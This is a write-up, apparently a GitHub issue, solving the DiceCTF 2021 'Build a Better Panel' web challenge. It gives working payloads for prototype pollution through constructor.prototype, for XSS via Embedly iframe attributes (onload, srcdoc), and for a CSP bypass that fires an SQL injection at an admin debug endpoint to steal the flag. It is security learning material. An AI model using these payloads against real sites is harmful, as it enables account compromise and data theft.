DiceCTF 2021 - Build a Better Panel
aszx87410 opened this issue · comments
It's harder version of Build a Panel
, much harder.
It's similar to easier version but with a huge difference:
the admin will only visit sites that match the following regex ^https:\/\/build-a-better-panel\.dicec\.tf\/create\?[0-9a-z\-\=]+$
So we can't use the trick last time because it's not valid url. Our goal changed, we need to perform XSS.
I check every html and js file but it seems quite normal except one file, custom.js
:
const mergableTypes = ['boolean', 'string', 'number', 'bigint', 'symbol', 'undefined'];
const safeDeepMerge = (target, source) => {
for (const key in source) {
if(!mergableTypes.includes(typeof source[key]) && !mergableTypes.includes(typeof target[key])){
if(key !== '__proto__'){
safeDeepMerge(target[key], source[key]);
}
}else{
target[key] = source[key];
}
}
}
const displayWidgets = async () => {
const userWidgets = await (await fetch('/panel/widgets', {method: 'post', credentials: 'same-origin'})).json();
let toDisplayWidgets = {'welcome back to build a panel!': {'type': 'welcome'}};
safeDeepMerge(toDisplayWidgets, userWidgets);
const timeData = await (await fetch('/status/time')).json();
const weatherData = await (await fetch('/status/weather')).json();
const welcomeData = await (await fetch('/status/welcome')).json();
const widgetData = {'time': timeData['data'], 'weather': weatherData['data'], 'welcome': welcomeData['data']};
const widgetPanel = document.getElementById('widget-panel');
for(let name of Object.keys(toDisplayWidgets)){
const widgetType = toDisplayWidgets[name]['type'];
const panel = document.createElement('div');
panel.className = 'panel panel-default';
const panelTitle = document.createElement('h5');
panelTitle.className = 'panel-heading';
panelTitle.textContent = name;
const panelData = document.createElement('p');
panelData.className = 'panel-body';
if(widgetData[widgetType]){
panelData.textContent = widgetData[widgetType];
}else{
panelData.textContent = 'The widget type does not exist, make sure you spelled it right.';
}
panel.appendChild(panelTitle);
panel.appendChild(panelData);
widgetPanel.appendChild(panel);
}
};
window.onload = (_event) => {
displayWidgets();
};
It's the core of the panel page. It gets widgets from api and put it to the page via textContent
, so sad, seems no room for XSS.
But this part gets my attention:
const mergableTypes = ['boolean', 'string', 'number', 'bigint', 'symbol', 'undefined'];
const safeDeepMerge = (target, source) => {
for (const key in source) {
if(!mergableTypes.includes(typeof source[key]) && !mergableTypes.includes(typeof target[key])){
if(key !== '__proto__'){
safeDeepMerge(target[key], source[key]);
}
}else{
target[key] = source[key];
}
}
}
It's like a hint for me,
Is it something to do with prototype pollution?
So I googled: prototype pollution xss
and find this as my first search result: Client-Side Prototype Pollution
I quickly checked the list and I saw something interesting: Embedly Cards
<script>
Object.prototype.onload = 'alert(1)'
</script>
<blockquote class="reddit-card" data-card-created="1603396221">
<a href="https://www.reddit.com/r/Slackers/comments/c5bfmb/xss_challenge/">XSS Challenge</a>
</blockquote>
<script async src="https://embed.redditmedia.com/widgets/platform.js" charset="UTF-8"></script>
No wonder they put a embedded reddit on the page! Everything has their meaning, even the smallest thing is a clue.
So if we can bypass prototype pollution check, we can perform XSS.
Bypass prototype pollution check
How to bypass this?
const mergableTypes = ['boolean', 'string', 'number', 'bigint', 'symbol', 'undefined'];
const safeDeepMerge = (target, source) => {
for (const key in source) {
if(!mergableTypes.includes(typeof source[key]) && !mergableTypes.includes(typeof target[key])){
if(key !== '__proto__'){
safeDeepMerge(target[key], source[key]);
}
}else{
target[key] = source[key];
}
}
}
I played around with this function for an hour but find nothing.
When I was googling about prototype pollution articles, suddenly I recall that {}.__proto__ = Object.prototype
So we can pollute the prototype without __proto__
!
({}).constructor
equals to Object
, so ({}).constructor.prototype
is Object.prototype
POC:
const mergableTypes = ['boolean', 'string', 'number', 'bigint', 'symbol', 'undefined'];
const safeDeepMerge = (target, source) => {
for (const key in source) {
if(!mergableTypes.includes(typeof source[key]) && !mergableTypes.includes(typeof target[key])){
if(key !== '__proto__'){
safeDeepMerge(target[key], source[key]);
}
} else {
target[key] = source[key];
}
}
}
const userWidgets = JSON.parse(`{
"constructor": {
"prototype": {
"onload": "console.log(1)"
}
}
}`)
let toDisplayWidgets = {'welcome back to build a panel!': {'type': 'welcome'}};
safeDeepMerge(toDisplayWidgets, userWidgets);
console.log(Object.prototype.onload) // console.log(1)
Now we can perform XSS via embedly prototype pollution. In order to get correct data structure, we need to check how to create and get a widget:
// create widget
app.post('/panel/add', (req, res) => {
const cookies = req.cookies;
const body = req.body;
if(cookies['panelId'] && body['widgetName'] && body['widgetData']){
query = `INSERT INTO widgets (panelid, widgetname, widgetdata) VALUES (?, ?, ?)`;
db.run(query, [cookies['panelId'], body['widgetName'], body['widgetData']], (err) => {
if(err){
res.send('something went wrong');
}else{
res.send('success!');
}
});
}else{
console.log(cookies);
console.log(body);
res.send('something went wrong');
}
});
app.post('/panel/widgets', (req, res) => {
const cookies = req.cookies;
if(cookies['panelId']){
const panelId = cookies['panelId'];
query = `SELECT widgetname, widgetdata FROM widgets WHERE panelid = ?`;
db.all(query, [panelId], (err, rows) => {
if(!err){
let panelWidgets = {};
for(let row of rows){
try{
panelWidgets[row['widgetname']] = JSON.parse(row['widgetdata']);
}catch{
}
}
res.json(panelWidgets);
}else{
res.send('something went wrong');
}
});
}
});
It uses JSON.parse
for widget data so when creating a new widget, the widget data should be JSON.stringify
first.
We can utilize JS itself to help us generate the request body:
console.log(
JSON.stringify({
widgetName: 'constructor',
widgetData: JSON.stringify({
prototype: {
onload: `alert(1)`
}
})
})
)
result:
{
"widgetName":"constructor",
"widgetData":
"{\"prototype\":{\"onload\":\"alert(1)\"}}"
}
So we can create a widget and perform XSS, cool! Let's try to create it and visit the page:
Oh no...I totally forgot CSP.
Round2: Bypass CSP
At first I was trying to bypass CSP and run inline script, but it seems it's a dead end.
Then I thought: "Maybe there is another way to run script without onload?", so I googled embedly prototype pollution
and found this tweet:
https://twitter.com/k33r0k/status/1319411417745948673
The comment below is really helpful to me! Before that I only know I can set onload
and perform XSS on embedly but I don't know why.
Now I know, it's via iframe attributes.
And we can use srcdoc
as well, it's a good news!
So I tried couple of things like:
srcdoc="<img src=x onerror=alert(1)>"
srcdoc="<script src=x></script>"
But none of them work because of CSP(sorry I am not familiar with CSP, I don't know it will be block as well)
I check the CSP carefully again, it's no way to run script:
default-src 'none';
script-src 'self' http://cdn.embedly.com/;
style-src 'self' http://cdn.embedly.com/;
connect-src 'self' https://www.reddit.com/comments/;
At that moment I was about to gave up, but I decided to take a shower first.
Taking a shower is a magical thing, it can remind you those small but important pieces.
Oh wait, what if I can get the flag without running JS?
I can reuse the payload for build a panel
!
Because the source code is almost the same, the attack should still works!
The CSP allow self style so we can do this:
<link rel=stylesheet href="https://build-a-better-panel.dicec.tf/admin/debug/add_widget?panelid=xof5566no1'%2C%20(select%20flag%20from%20flag%20limit%201)%2C%20'1')%3B--&widgetname=1&widgetdata=1"></link>
The browser will send request to the target url and it will create a new widget with flag as title, just like when I have done in build a panel
.
Go get flag!
final payload:
console.log(
JSON.stringify({
widgetName: 'constructor',
widgetData: JSON.stringify({
prototype: {
srcdoc: `<link rel=stylesheet href="https://build-a-better-panel.dicec.tf/admin/debug/add_widget?panelid=xof5566no1'%2C%20(select%20flag%20from%20flag%20limit%201)%2C%20'1')%3B--&widgetname=1&widgetdata=1"></link>`
}
})
}
{"widgetName":"constructor","widgetData":"{\"prototype\":{\"srcdoc\":\"<link rel=stylesheet href=\\\"https://build-a-better-panel.dicec.tf/admin/debug/add_widget?panelid=xof5566no1'%2C%20(select%20flag%20from%20flag%20limit%201)%2C%20'1')%3B--&widgetname=1&widgetdata=1\\\"></link>\"}}"}
We can then submit the designated panel to admin via debugid
: https://build-a-better-panel.dicec.tf/create?debugid=311257212eefwef
Check the panel in the payload above, you can see the flag:
Awesome challenge! I learned a lot from it.